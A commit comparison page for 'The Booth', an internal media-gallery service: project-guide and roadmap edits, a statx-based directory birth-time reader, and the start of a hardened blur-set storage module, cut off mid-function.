Compare commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
34ac1683ee | ||
|
|
1a59242709 | ||
|
|
225ba32209 | ||
|
|
92c774e105 | ||
|
|
d54bb04414 | ||
|
|
64b403f7eb | ||
|
|
8633b1dded | ||
|
|
cf08ae3f33 | ||
|
|
f8d136a521 | ||
|
|
23f1bdb41f | ||
|
|
8c7fe77841 | ||
|
|
5d785fe3c4 | ||
|
|
47b39bca53 | ||
|
|
d5ead3f613 | ||
|
|
8a78a9bd1d | ||
|
|
7d4a26f486 | ||
|
|
fde082e733 | ||
|
|
7c879e6038 | ||
|
|
7151a45ec2 | ||
|
|
0781aa5ee5 | ||
|
|
1d31ab05de | ||
|
|
6880ab3059 | ||
|
|
c19d8c9718 | ||
|
|
c1f5543b77 | ||
|
|
64f64889a2 | ||
|
|
c2b1454358 | ||
|
|
4cfbce5109 | ||
|
|
cce6a20abe | ||
|
|
b92b00215f | ||
|
|
1558a7fa07 | ||
|
|
436d234ca0 | ||
|
|
ca0641f55b | ||
|
|
20f1cb8594 | ||
|
|
75623c7dbc | ||
|
|
37d859c0fd | ||
|
|
5ded5ffe55 | ||
|
|
091f4b5f2d | ||
|
|
cecd877f60 | ||
|
|
a9e71108a7 | ||
|
|
c1108a1966 | ||
|
|
65e7dc2a4e | ||
|
|
995e7b9686 | ||
|
|
704e8cd809 | ||
|
|
70bfff15cf | ||
|
|
d40e8fd4a6 | ||
|
|
ff35023377 | ||
|
|
9aa91d5dc7 | ||
|
|
18d599dd2a | ||
|
|
d5e23c7d5f | ||
|
|
39a3cb2262 | ||
|
|
167f2657c5 | ||
|
|
447a9b67e9 | ||
|
|
f43a41fb49 | ||
|
|
225570623d | ||
|
|
1ddd1c5654 | ||
|
|
77833dc6d4 | ||
|
|
fa5d46443d | ||
|
|
881c7f5df3 | ||
|
|
2511aab3d6 | ||
|
|
8acd10a8d2 | ||
|
|
f8cb1b29af | ||
|
|
50f88a3e5e | ||
|
|
ce27b06f32 | ||
|
|
b9750d221a | ||
|
|
277554a3f7 | ||
|
|
7a4d3fcbf8 | ||
|
|
ea44c18d42 | ||
|
|
051599a30e | ||
|
|
bf55364920 | ||
|
|
e8e49ceb14 | ||
|
|
744fa5263e | ||
|
|
b46ac02be2 | ||
|
|
f87976b54d | ||
|
|
af57933255 | ||
|
|
6ba5a83f81 | ||
|
|
dfd806aa9f | ||
|
|
06d83dfd2f | ||
|
|
1826d19a1f | ||
|
|
397ea89795 | ||
|
|
6042d10bf3 | ||
|
|
33e7149e24 | ||
|
|
c47b3dba7e | ||
|
|
2f6a0ee821 | ||
|
|
82ac7c44e4 | ||
|
|
8a18dd13ab |
@@ -6,3 +6,6 @@ __pycache__/
|
||||
booth-data/
|
||||
uv.lock
|
||||
graphify-out/
|
||||
|
||||
# scripts/mutation_check.py crash marker — never committed
|
||||
.mutation-inflight
|
||||
|
||||
@@ -39,7 +39,7 @@ lags the code defeats its own purpose.
|
||||
|
||||
These are the ones a casual change breaks silently. Each has a test.
|
||||
|
||||
### 1. `links.py`, `asks.py` and `marks.py` are stdlib-only, on purpose
|
||||
### 1. The modules `scripts/booth` imports are stdlib-only, on purpose
|
||||
|
||||
`scripts/booth` — the CLI every fleet session uses — imports them directly:
|
||||
|
||||
@@ -48,27 +48,68 @@ BOOTH_SRC=… python3 -c 'import sys; sys.path.insert(0, …); from booth.marks
|
||||
```
|
||||
|
||||
It runs under the system `python3` with **no venv**. A single third-party
|
||||
import in any of the three breaks `booth ask` / `booth marks` / `booth answer` /
|
||||
`booth unlink` on every host, and the failure surfaces in an agent's session,
|
||||
not in ours.
|
||||
import in any of them breaks `booth ask` / `booth marks` / `booth answer` /
|
||||
`booth unlink` / `booth blur` on every host, and the failure surfaces in an
|
||||
agent's session, not in ours.
|
||||
|
||||
`items.py` and `app.py` are free to import what they like. Those three are not.
|
||||
`test_stdlib_only` walks each module's AST imports and asserts it — the CLI
|
||||
imports through a `python3 -c` heredoc that no AST extractor can see, so that
|
||||
test is the only thing standing here.
|
||||
The set is `marks`, `asks`, `links`, `manifest`, `benches`, `blur` and
|
||||
`__init__` (which runs before every one of them). **The list of record is
|
||||
`test_stdlib_only`'s parametrize in `tests/test_marks.py`**, not this
|
||||
paragraph. `items.py` and `app.py` are free to import what they like; those are
|
||||
not. `test_stdlib_only` walks each module's AST imports and asserts it — the
|
||||
CLI imports through a `python3 -c` heredoc that no AST extractor can see, so
|
||||
that test is the only thing standing here. A new module the CLI imports goes on
|
||||
that list in the same commit.
|
||||
|
||||
### 2. The filesystem is the state
|
||||
|
||||
No database. `ls ~/booth-data` tells you everything the service knows.
|
||||
|
||||
Per-booth operator state is a **dotfile inside the booth**: `.forever` (keep),
|
||||
`.viewed` (last deliberate look — U4's "viewing is activity"), `.blurred` (one
|
||||
rel per line), `.marks.json` + `.marks.lock` (judgment), `.pins` (link-board pin
|
||||
`.viewed` (last deliberate look — U4's "viewing is activity"), `.blurred.json`
|
||||
(the per-item blur set, a JSON ARRAY — see below; the legacy `.blurred` is
|
||||
read-only), `.seen` (R2: rels looked at full size, a JSON ARRAY), `.blurbooth` (the whole booth fogged — a MARKER like `.forever`, not
|
||||
JSON, because a boolean has no rels to round-trip), `.marks.json` + `.marks.lock` (judgment), `.pins` (link-board pin
|
||||
ids), `.uploaded` (upload-booth marker). `booth_items()` skips `name.startswith(".")`, so a new
|
||||
dotfile costs nothing in item counts, galleries or zips. That skip is why the
|
||||
dotfile is the right shape for new operator state — use it rather than
|
||||
inventing a sidecar-per-item.
|
||||
|
||||
⚠ **A dotfile that holds rels is a JSON array, opened `O_NOFOLLOW |
|
||||
O_NONBLOCK` with an `S_ISREG` check and a size cap.** A rel may carry a leading
|
||||
space or a newline, and line-stripped storage does not round-trip it: `.blurred`
|
||||
was one stripped rel per line, and blurring `" a.png"` blurred `a.png` instead.
|
||||
`.seen` was written as JSON for exactly that reason (design-dev, R2), and the
|
||||
blur set now matches it in `.blurred.json` (`booth/blur.py`). The open flags
|
||||
mean a planted symlink is refused and a FIFO cannot hang the read, which is the
|
||||
outage in `persistent-memory.d/2026-09-22-size-cap-opened-a-hang.md`. **Any new
|
||||
dotfile inherits that shape.**
|
||||
|
||||
⚠ **A format change gets a NEW NAME, never a sniffed file.** The first cut of
|
||||
the blur fix wrote JSON into `.blurred` and guessed the format from the bytes;
|
||||
a legacy file whose one line is an item literally named `["a.png"]` parses as
|
||||
JSON and blurs the neighbour, the bug being fixed (heid bug-hunt, 3 of 3). So
|
||||
`.blurred.json` is JSON only, the legacy `.blurred` is lines only and read only
|
||||
while `.blurred.json` is absent, and the first write retires it. Do not remove
|
||||
that legacy read while a line-format file can still exist.
|
||||
|
||||
**Reads lenient, writes strict; and a writer is judged by its reader.** The
|
||||
renderer's `read_blurred` turns anything it cannot read into an empty set,
|
||||
because a damaged file must cost the blur and never the page. The writer
|
||||
builds on `_load`, the same parse, which REFUSES instead: a regular file it
|
||||
cannot read (a permission, over the cap, not JSON) is never overwritten with a
|
||||
set that forgot what it held. That is the `.marks.json` wipe again, and the
|
||||
blur writer shipped without the guard for a night. After writing,
|
||||
`set_blurred` re-reads and raises `BlurUnwritable` unless the reader returns
|
||||
exactly the set asked for. The route answers either refusal with 409, never
|
||||
500.
|
||||
|
||||
**A dotfile with two writers has ONE implementation of the writer, and one
|
||||
predicate for its keys.** The blur set is written by the service and by `booth
|
||||
blur`; both call `booth.blur.set_blurred`, and both ask `check_rel` what an
|
||||
item path is. The CLI used to keep a grep/printf writer and a `*..*` guard of
|
||||
its own, which refused `a..b.png` where the route accepted it.
|
||||
|
||||
### 3. One resolver for item facts
|
||||
|
||||
`booth.items.booth_items(booth)` is the only place a file is classified, a
|
||||
@@ -215,6 +256,32 @@ curl -s localhost:8090/healthz # the live service (systemd --user)
|
||||
systemctl --user restart booth.service # after a code change, to see it live
|
||||
```
|
||||
|
||||
⚠ **A GET of a booth page, its marks page or a review page RECORDS A LOOK**
|
||||
(`.viewed`, and `.seen` for a review page). A post-deploy check that fetches
|
||||
every booth on `:8090` tells the service the operator looked at all of them at
|
||||
once: it empties "new since you looked", marks items seen on the tape, and
|
||||
pushes every expiry out a day. Two sessions did exactly that on 2026-09-23.
|
||||
Check the live service with requests that record nothing (`/healthz`, the Desk
|
||||
at `/`, `?thumb=1` file fetches), and check pages against a COPY of the data
|
||||
(`rsync` it into the scratchpad, `TestClient(create_app(copy))`).
|
||||
|
||||
```sh
|
||||
.venv/bin/python scripts/mutation_check.py # prove the falsifiers still falsify
|
||||
```
|
||||
|
||||
**A green test is not evidence.** A test that has never seen its own defeating
|
||||
change may pass under it too — forbidding nothing while reading as though it
|
||||
forbids something. This repo shipped that three times before the tool existed
|
||||
(twice in one session, once an hour after writing the entry about it). Tables
|
||||
live in `tests/mutations/*.toml`, one per unit, committed so a unit's proofs are
|
||||
an artifact rather than scrollback; adding a unit means adding a file, never
|
||||
editing the script. `tests/test_mutation_check.py` holds the tool's own positive
|
||||
and negative controls, because an instrument that only ever sees unknowns cannot
|
||||
tell "nothing wrong" from "I am blind".
|
||||
|
||||
When you add a `*Falsifiable:*` line to a contract, add its row to the table and
|
||||
run it. A falsifier nobody has run is a claim, not a test.
|
||||
|
||||
`tests/test_embed_browser.py` drives a real Chromium against a real uvicorn on
|
||||
an ephemeral port — the only place U3's placement and `form=` binding can be
|
||||
observed at all. Browsers are NOT downloaded per project; they live box-wide in
|
||||
|
||||
+80
-15
@@ -1,12 +1,23 @@
|
||||
# The Booth — roadmap
|
||||
|
||||
Design: [`docs/design/information-architecture.md`](docs/design/information-architecture.md).
|
||||
Current version: `1.0.0b1` (**U1 through U7 landed — every v1 capability is
|
||||
in**; extracted from eshpfi 2026-09-21). **The v1 target is MET and staged as a
|
||||
beta** (operator, 2026-09-22): feature-complete, external testing, no new
|
||||
features — the remaining work is bugs. `1.0.0` final is cut when the beta
|
||||
survives; per the canonical policy an rc would be cut from the same commit,
|
||||
but a beta may still take fixes.
|
||||
Current version: `1.0.0b1` (**U1 through U7 landed**; extracted from eshpfi
|
||||
2026-09-21).
|
||||
|
||||
⚠ **THE BETA'S PREMISE IS SUPERSEDED AND THE TAG CANNOT BE UNSAID.**
|
||||
`v1.0.0b1` was cut 2026-09-22 promising "feature-complete, no new features, the
|
||||
remaining work is bugs." On 2026-09-23 the operator ruled a flow redesign and
|
||||
compare mode into the arc, which are emphatically new features. **The tag stays
|
||||
as written** — it is an immutable record of what was believed at the time, not a
|
||||
claim about now — and no further pre-release is cut until the arc lands.
|
||||
Dropping back to an alpha is not available: `1.0.0a2` sorts BELOW `1.0.0b1`, and
|
||||
versions do not go backwards.
|
||||
|
||||
🛑 **RULED 2026-09-23: NO `1.0.0` YET.** Verbatim: *"no v1.0 yet."* The tag
|
||||
stays at `1.0.0b1`, no further pre-release is cut until the arc lands, and the
|
||||
arc now includes the flow redesign, compare mode and the Desk revisions still in
|
||||
flight. Do not cut a release because the suite is green and the roadmap looks
|
||||
complete — it has looked complete twice already.
|
||||
|
||||
## v1 target
|
||||
|
||||
@@ -87,7 +98,15 @@ Where it already binds, and what the rule is in each case:
|
||||
| collection | rule |
|
||||
|---|---|
|
||||
| items in a booth | `sorted(rel)` — byte order over the booth-relative path (U1 INV-3) |
|
||||
| the zoom prev/next ring | the item order, filtered to images — same sequence, one source |
|
||||
| the review prev/next ring | the item order, **filtered to media** — image, video and audio (`review_chain`, R2). Supersedes `image_chain`, which stays importable and unchanged for its other callers |
|
||||
| an item's ordinal (`#NN`) | its position in `sorted(rel)` — **counted across ALL items, so `#07` is the same tile under every filter.** This is what makes the operator's "the third one" mean one thing, which the filters had quietly broken (R2) |
|
||||
| the filmstrip and the tape | the review ring |
|
||||
| the flag tray | **by ordinal** — the tray reads in the same direction as the grid (R2). The notes list keeps `(created, id)` |
|
||||
| the Desk's sections | fixed: needs you → new since you looked → everything else (R2) |
|
||||
| within *needs you* | `(open_since, name)` |
|
||||
| within *new since you looked* | `(-landed_at, name)` |
|
||||
| within *everything else* | `(-landed_at, name)`: last updated first, the date each row shows. Was `list_booths`' activity order, which counted a look (operator, 2026-09-23) |
|
||||
| the Desk's bookmarks column | `order_for_display` — pinned first, then newest |
|
||||
| caption sidecar resolution | sorted scan, so two media files sharing a stem resolve the same way every time (a real non-determinism U1 removed) |
|
||||
| marks in a booth | `(created, id)` — time, with the id as tie-break so two marks written in the same second cannot swap |
|
||||
| legacy ask import | `(mtime, name)`, which is the order `list_asks` gave them |
|
||||
@@ -100,6 +119,8 @@ Where it already binds, and what the rule is in each case:
|
||||
| embed anchors in a verbatim report | **document order** — what `querySelectorAll` yields, so the author's markup decides (U3) |
|
||||
| the embed tail (fragments the author did not place) | **payload order**, which is the marks order `(created, id)` — one rule, whether a fragment lands at an anchor or at the end (U3) |
|
||||
| questions within a pick | declaration order, in the payload's `questions` LIST — carried by the format rather than by object-key insertion order (U3) |
|
||||
| the compare filmstrip | **the compare ring**: the review ring (item order, media only) less any rel compare cannot open, so no strip link offers a pair that 404s (r3) |
|
||||
| compare stepping | along the compare ring, modulo its length; linked moves both sides one place and keeps their distance, unlinked moves the active side only (r3) |
|
||||
|
||||
U3's three rows are the first case where the rule binds across a language
|
||||
boundary: the order is decided in Python and honoured in JavaScript, and a
|
||||
@@ -121,7 +142,8 @@ gallery booths have a subdirectory.
|
||||
(section ordering among themselves, compare pairing) resolved differently:
|
||||
section ordering is MOOT, because U7 renders no section rail — `Item.section`
|
||||
still exists and is still derived, it simply has no ordered surface. Compare
|
||||
pairing rode into v1.1 with compare mode itself. **U6's bench listing is
|
||||
pairing was ruled 2026-09-24: pairs are PICKED, never detected from filenames,
|
||||
and compare landed with r3 (rows above). **U6's bench listing is
|
||||
settled** — the row above.
|
||||
|
||||
The test for any new ordered surface: *can you write the rule down in one line?*
|
||||
@@ -143,20 +165,63 @@ weighed against the v1 path and lost on purpose.
|
||||
|
||||
| item | why parked |
|
||||
|---|---|
|
||||
| **Compare mode** — pair-by-name A/B across subfolders | The best idea in the set, and the only one that is a *new capability* rather than a fix for a measured defect. The four-booth `pancake-v3/v4` dance still works. First thing in v1.1. |
|
||||
| ~~**Compare mode**~~ — **UNPARKED 2026-09-23, LANDED 2026-09-24 (r3)** | Parked as "the only new capability rather than a fix for a measured defect", and **that deferral was ours and the operator overruled it.** design-dev argued it belongs in this arc because the ladders and bakeoffs already need it; the operator ruled `this_arc`. Lands AFTER the Desk and the reel, as a view toggle over the same item record. Recorded so nobody re-parks it by reading an older rule. |
|
||||
| Virtualized / progressive grid loading | Speculative. 270 `<img loading="lazy">` may be fine. **Measure the real booth before optimising it** — if it renders inside a second, this is invented work. |
|
||||
| Bench uptime history + graphs | The v1 need is "is it dead", which one flag answers. A time series is a different product. |
|
||||
| Cross-booth search | No evidence of the need in the usage data. |
|
||||
| Per-viewer state (who has seen what) | The Booth has one viewer. Revisit if that stops being true. |
|
||||
| Auth | Standing non-goal. LAN/mesh-internal. Blur stays cosmetic and says so. |
|
||||
|
||||
## Post-v1, already committed
|
||||
## The design arc — IN SCOPE, not post-v1
|
||||
|
||||
- **SVOS theme retrofit by `design-dev`.** Runs as a parallel track, not a v1
|
||||
gate: we own the information architecture (it is driven by the measurement
|
||||
above), design-dev owns the visual and interaction system. The handoff is a
|
||||
`/vor-ui` brief written against the landed v1 structure — the same shape
|
||||
`hamr-dev` and `pewpew-dev` used.
|
||||
⚠ **This section used to be "Post-v1, already committed" and it is not post-v1
|
||||
any more.** The operator's 2026-09-23 rulings put a flow redesign and compare
|
||||
mode inside the arc, so the work below is part of what ships, not after it.
|
||||
|
||||
- **SVOS theme retrofit by `design-dev` — HANDED OFF AND ACCEPTED 2026-09-22**
|
||||
(althing thread `01M369321KNBPZ7FYDQGZG7AXP`). Runs as a parallel track, not a
|
||||
v1 gate: we own the information architecture (it is driven by the measurement
|
||||
above), design-dev owns the visual and interaction system.
|
||||
|
||||
🛑 **OPERATOR RULING 2026-09-23 — THE OWNERSHIP BOUNDARY MOVED, AND IT MOVED
|
||||
OUR WAY OUT.** The first concept round was ruled **NOT ship-as-shown**:
|
||||
*"He didn't go far enough, still looks like the booth. I want him to consider
|
||||
the flow and the requirements — design touches, layout, usability all belong
|
||||
to him."* **Flow, layout, usability and the REQUIREMENTS are design-dev's.**
|
||||
The information architecture is no longer fenced off from him: what belongs on
|
||||
which page, what groups with what, what the rail counts and whether a rail is
|
||||
the right object at all are his calls to propose and build.
|
||||
|
||||
⚠ **The fence was OURS, and it is what produced a reskin.** The handoff said
|
||||
*"what we are not asking for: layout changes driven by information
|
||||
architecture"*, and design-dev's *"markup changes are class additions only, no
|
||||
reordering"* was that constraint honoured. The ruling corrects the brief, not
|
||||
his round. **That paragraph is void — do not restate it.**
|
||||
|
||||
What survives is two tiers, deliberately separated because collapsing them is
|
||||
how we over-fenced the first time. **Tier 1, correctness not taste:**
|
||||
deterministic order (an operator directive — the RULE may change, but not into
|
||||
"whatever the layout yields"), autoescape, blur keeps admitting it is
|
||||
cosmetic, restart discipline. **Tier 2, engineering defaults WE chose and he
|
||||
may now argue with:** the gallery working with JavaScript off, virtualization
|
||||
parked, compare mode deferred. Tier 2 disputes go to the operator, not settled
|
||||
between agents.
|
||||
|
||||
⚠ **The `/vor-ui` brief this row used to require was DECLINED, and rightly.**
|
||||
The row predates `docs/design/information-architecture.md`; with that doc, the
|
||||
landed templates and the seven handoff constraints in hand, a `/vor-ui` pass
|
||||
would have cost the operator a serial Q&A to re-derive IA we had already
|
||||
measured — the exact operator-load this project exists to reduce. The handoff
|
||||
message is the brief. If the design system ever wants the IA different,
|
||||
design-dev raises it and we re-measure rather than either side guessing.
|
||||
|
||||
Settled with it: **we merge and restart** (the deployment root stays in one
|
||||
pair of hands); design-dev works on `svos-retheme` in his own clone against a
|
||||
COPY of `~/booth-data`, never touching `:8090`; a concept round goes to the
|
||||
OPERATOR before any fixup. Webfonts arrive by Google Fonts `<link>` with
|
||||
`display=swap` and a system fallback stack — the CDN-free property was
|
||||
accreted, not an invariant, and self-hosting is a v1.1 item because
|
||||
`v1.0.0b1` promises no new features.
|
||||
|
||||
## Gate
|
||||
|
||||
|
||||
+768
-61
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,73 @@
|
||||
"""The filesystem's own record of when a directory was created.
|
||||
|
||||
The operator asked for creation dates on booths. Only 18 of 30 live booths had
|
||||
one: `.booth.json` carries a declared `created`, but that file only exists for
|
||||
booths posted through the CLI since U5, and the twelve older ones had nothing.
|
||||
|
||||
The tempting answers were all guesses wearing a fact's clothes — the oldest
|
||||
content mtime (wrong whenever an agent copies files with timestamps preserved),
|
||||
or the directory mtime (which is just "last time something was added"). Writing
|
||||
a first-seen stamp on read was worse still: this service spent an hour today
|
||||
fixing a cache that aged the booth it cached.
|
||||
|
||||
ext4 records a real birth time. CPython 3.13 does not expose `st_birthtime` on
|
||||
Linux, but `statx(2)` does and glibc has wrapped it since 2.28 — so this reads
|
||||
a FACT the disk already holds rather than inventing one.
|
||||
|
||||
DEGRADES TO None, always: an old kernel, a filesystem that does not record
|
||||
btime (tmpfs, NFS, some overlayfs), a missing glibc symbol, or anything else
|
||||
unexpected. A caller that gets None shows nothing, which is the honest output
|
||||
when nobody knows.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import ctypes
|
||||
import ctypes.util
|
||||
import os
|
||||
from pathlib import Path
|
||||
|
||||
_AT_FDCWD = -100
|
||||
_STATX_BTIME = 0x00000800
|
||||
# struct statx: stx_btime is the SECOND statx_timestamp, and the four that
|
||||
# precede it occupy a fixed 64-byte head (mask, blksize, attributes, nlink,
|
||||
# uid, gid, mode, spare, ino, size, blocks, attributes_mask), then atime.
|
||||
_BTIME_SEC_OFFSET = 80
|
||||
_STATX_BUF_SIZE = 256
|
||||
|
||||
|
||||
def _load():
|
||||
try:
|
||||
libc = ctypes.CDLL(ctypes.util.find_library("c") or "libc.so.6", use_errno=True)
|
||||
return libc.statx
|
||||
except (OSError, AttributeError):
|
||||
return None
|
||||
|
||||
|
||||
_statx = _load()
|
||||
|
||||
|
||||
def birth_time(path: Path) -> float | None:
|
||||
"""When the filesystem says this path was created, or None if it cannot say.
|
||||
|
||||
NEVER RAISES. `list_booths` calls this once per booth on every index load,
|
||||
so a read that can raise is a service-wide outage wearing a single-booth
|
||||
bug's clothes — the posture `read_manifest` already states, applied before
|
||||
the same mistake rather than after it.
|
||||
"""
|
||||
if _statx is None:
|
||||
return None
|
||||
try:
|
||||
buf = ctypes.create_string_buffer(_STATX_BUF_SIZE)
|
||||
rc = _statx(ctypes.c_int(_AT_FDCWD), os.fsencode(str(path)),
|
||||
ctypes.c_int(0), ctypes.c_uint(_STATX_BTIME), buf)
|
||||
if rc != 0:
|
||||
return None
|
||||
mask = int.from_bytes(buf.raw[0:4], "little")
|
||||
if not mask & _STATX_BTIME:
|
||||
return None # the filesystem does not record it
|
||||
sec = int.from_bytes(buf.raw[_BTIME_SEC_OFFSET:_BTIME_SEC_OFFSET + 8],
|
||||
"little", signed=True)
|
||||
return float(sec) if sec > 0 else None
|
||||
except Exception: # noqa: BLE001 — see the docstring; nothing here is worth a 500
|
||||
return None
|
||||
+232
@@ -0,0 +1,232 @@
|
||||
"""Per-item blur storage — `.blurred.json`, one JSON array of booth-relative paths.
|
||||
|
||||
⚠ STDLIB ONLY (CLAUDE.md invariant 1). `scripts/booth blur` imports this under
|
||||
the system python3 with no venv, so the service and the CLI share ONE reader,
|
||||
ONE writer and ONE predicate for what an item path is. The CLI used to keep its
|
||||
own grep/printf line writer, and two writers of one file is how formats drift.
|
||||
|
||||
⚠ COSMETIC ONLY. A blurred item is still served, still in the zip, still on
|
||||
disk. The Booth has no auth: if a thing must not be SEEN, it must not be in a
|
||||
booth.
|
||||
|
||||
WHY A NEW FILE NAME, NOT A NEW FORMAT IN THE OLD FILE. `.blurred` was one
|
||||
stripped rel per line, which could not round-trip a rel with a leading space or
|
||||
a newline (blurring " a.png" blurred "a.png"). A JSON array fixes that, the
|
||||
`.seen` shape. Writing it into the OLD name would force the reader to sniff
|
||||
which format it is looking at, and sniffing cannot be made safe: a legacy file
|
||||
whose one line is an item literally named `["a.png"]` parses as a JSON array and
|
||||
would blur the neighbour, the very bug this module exists to fix (heid bug-hunt,
|
||||
3 of 3 arms). So the two formats live at two names and neither is ever guessed:
|
||||
|
||||
.blurred.json current. JSON only, never read as lines.
|
||||
.blurred legacy, READ ONLY, and only while `.blurred.json` is absent.
|
||||
Lines only, never read as JSON. The first write replaces it.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import json
|
||||
import os
|
||||
import stat
|
||||
import tempfile
|
||||
from pathlib import Path
|
||||
|
||||
BLUR_FILE = ".blurred.json"
|
||||
LEGACY_BLUR_FILE = ".blurred"
|
||||
|
||||
# A blur set bigger than this is not one this module wrote: a JSON array of
|
||||
# every rel in a 270-item booth is a few KB. Same bound as `.seen`, and the
|
||||
# WRITER enforces it too, so the writer can never produce a file the reader
|
||||
# would refuse and read as nothing.
|
||||
BLUR_MAX_BYTES = 1 << 20
|
||||
|
||||
|
||||
class BlurUnwritable(Exception):
|
||||
"""The blur set on disk could not be made to hold what was asked: something
|
||||
that is not ours is in the way (a directory at the name, a permission), or
|
||||
the set would outgrow what the reader accepts. A refusal about the STATE ON
|
||||
DISK, not about the request, so the route answers 409, never 500."""
|
||||
|
||||
|
||||
def check_rel(rel: str) -> str:
|
||||
"""The one predicate for what a blur entry may be, shared by the route and
|
||||
the CLI so the two cannot disagree about which items are addressable.
|
||||
|
||||
A booth-relative path: not empty, not absolute, no `..` COMPONENT (so
|
||||
`a..b.png` is a fine name, and `a/../b` is not), and encodable back to the
|
||||
bytes of a filename. Stored EXACTLY as given otherwise — never stripped.
|
||||
Raises ValueError; returns `rel` unchanged."""
|
||||
if not rel or rel.startswith("/") or ".." in rel.split("/"):
|
||||
raise ValueError(f"not a booth-relative item path: {rel!r}")
|
||||
if not _encodable(rel):
|
||||
raise ValueError(f"not a filename this box can hold: {rel!r}")
|
||||
return rel
|
||||
|
||||
|
||||
def _encodable(rel: str) -> bool:
|
||||
"""A real filename decodes under surrogateescape to U+DC80..U+DCFF at worst,
|
||||
which encodes back. A lone U+D800 cannot come from any filename, only from a
|
||||
planted JSON escape, and would make every later write raise."""
|
||||
try:
|
||||
rel.encode("utf-8", "surrogateescape")
|
||||
except UnicodeEncodeError:
|
||||
return False
|
||||
return True
|
||||
|
||||
|
||||
def _read_capped(path: Path) -> bytes | None:
|
||||
"""A regular file's bytes, or None. Never follows a link, never blocks on a
|
||||
FIFO, never reads past the cap, never raises."""
|
||||
try:
|
||||
fd = os.open(path, os.O_RDONLY | os.O_NOFOLLOW | os.O_NONBLOCK)
|
||||
except OSError:
|
||||
return None
|
||||
try:
|
||||
st = os.fstat(fd)
|
||||
if not stat.S_ISREG(st.st_mode) or st.st_size > BLUR_MAX_BYTES:
|
||||
return None
|
||||
return os.read(fd, BLUR_MAX_BYTES + 1)
|
||||
except OSError:
|
||||
return None
|
||||
finally:
|
||||
os.close(fd)
|
||||
|
||||
|
||||
def _load(booth: Path) -> set[str]:
|
||||
"""The blur set, STRICTLY: raises BlurUnwritable for a REGULAR file at
|
||||
either name that cannot be read as its format (a permission, over the size
|
||||
cap, not JSON), where `read_blurred` would say "nothing blurred". The
|
||||
writer builds on this; the renderer on the lenient one. One parse, two
|
||||
postures, so they cannot disagree about what a file means, only about what
|
||||
to do when it cannot be read.
|
||||
|
||||
Only a regular file can hold a set anyone wrote. A link, a directory or a
|
||||
FIFO at either name holds nothing to lose, so it reads as empty here too,
|
||||
and whether the write can then land is `set_blurred`'s postcondition to
|
||||
judge (a link is replaced; a directory is refused).
|
||||
|
||||
ANYTHING at `.blurred.json` means the current format is in charge, and the
|
||||
legacy file is not consulted, so a stale `.blurred` left beside a newer set
|
||||
can never speak. Members that are not strings, are empty, or could not be a
|
||||
filename are skipped: no one could have meant them, and dropping them loses
|
||||
nothing.
|
||||
"""
|
||||
current, legacy = booth / BLUR_FILE, booth / LEGACY_BLUR_FILE
|
||||
for path in (current, legacy):
|
||||
try:
|
||||
st = os.lstat(path)
|
||||
except FileNotFoundError:
|
||||
continue
|
||||
except OSError as exc:
|
||||
raise BlurUnwritable(f"cannot stat {path.name} in {booth.name!r} ({exc})") from exc
|
||||
if not stat.S_ISREG(st.st_mode):
|
||||
return set()
|
||||
raw = _read_capped(path)
|
||||
if raw is None:
|
||||
raise BlurUnwritable(f"{path.name} in {booth.name!r} is not a readable file of sane size")
|
||||
text = raw.decode("utf-8", "surrogateescape")
|
||||
if path is legacy:
|
||||
return {ln.strip() for ln in text.splitlines() if ln.strip()}
|
||||
try:
|
||||
data = json.loads(text)
|
||||
except (ValueError, RecursionError) as exc:
|
||||
# RecursionError: a deeply nested array blows the parser's stack,
|
||||
# and it is neither a ValueError nor an OSError (the `.seen` hole).
|
||||
raise BlurUnwritable(f"{BLUR_FILE} in {booth.name!r} is not JSON") from exc
|
||||
if not isinstance(data, list):
|
||||
raise BlurUnwritable(f"{BLUR_FILE} in {booth.name!r} is not a JSON array")
|
||||
return {r for r in data if isinstance(r, str) and r and _encodable(r)}
|
||||
return set()
|
||||
|
||||
|
||||
def read_blurred(booth: Path) -> set[str]:
|
||||
"""Blurred rels for a booth. Missing, unreadable or malformed -> empty set.
|
||||
|
||||
NEVER RAISES and NEVER BLOCKS. `booth_items` calls this for every booth the
|
||||
Desk renders, and any fleet session can write into a booth, so either file
|
||||
may be planted: each is opened without following a link and without
|
||||
blocking, and refused unless it is a regular file of sane size. A damaged
|
||||
file costs the blur, never the page. The WRITER does not get this leniency;
|
||||
see `_load`.
|
||||
"""
|
||||
try:
|
||||
return _load(booth)
|
||||
except BlurUnwritable:
|
||||
return set()
|
||||
|
||||
|
||||
def _discard(path: Path) -> None:
|
||||
try:
|
||||
path.unlink()
|
||||
except OSError:
|
||||
pass # judged by the postcondition in set_blurred, not here
|
||||
|
||||
|
||||
def set_blurred(booth: Path, rel: str, on: bool) -> set[str]:
|
||||
"""Add or remove one rel from the blur set, and return the new set.
|
||||
|
||||
`rel` must pass `check_rel` (ValueError otherwise) and is stored EXACTLY as
|
||||
given. Written as a JSON array in sorted order (CLAUDE.md invariant 6), so
|
||||
the same set is the same bytes; an empty set removes the file, because an
|
||||
empty marker is a lie by omission. The first write also retires a legacy
|
||||
`.blurred`, AFTER the new file is in place, so a crash between the two
|
||||
leaves the new file in charge.
|
||||
|
||||
Atomic replace (CLAUDE.md invariant 5) through a temp file created with
|
||||
O_EXCL: a crash mid-write cannot leave a shorter, more revealing set, and
|
||||
`os.replace` swaps a planted symlink out rather than writing through it.
|
||||
|
||||
WRITES ARE STRICT. The set it builds on comes from `_load`, which refuses
|
||||
(BlurUnwritable, nothing changed) where the renderer's reader would say
|
||||
"nothing blurred": a file it cannot read is never overwritten with a set
|
||||
that forgot what it held.
|
||||
|
||||
SUCCESS IS DEFINED BY THE READER. After writing, `read_blurred` must return
|
||||
exactly the set asked for; anything else raises BlurUnwritable. That one
|
||||
check covers a planted directory at either name, a permission, and a race,
|
||||
without a branch per way the disk can be wrong.
|
||||
|
||||
NOT locked. Two writers racing (the operator's click and a session's
|
||||
`booth blur`) can lose one toggle, as the line format could.
|
||||
"""
|
||||
check_rel(rel)
|
||||
# STRICT, never `read_blurred`: an empty set from a file that could not be
|
||||
# read would be written back over it, and whatever it held would be gone
|
||||
# (the `.marks.json` wipe of 2026-09-21; groa: a cross-uid EACCES).
|
||||
current = _load(booth)
|
||||
if on:
|
||||
current.add(rel)
|
||||
else:
|
||||
current.discard(rel)
|
||||
path = booth / BLUR_FILE
|
||||
legacy = booth / LEGACY_BLUR_FILE
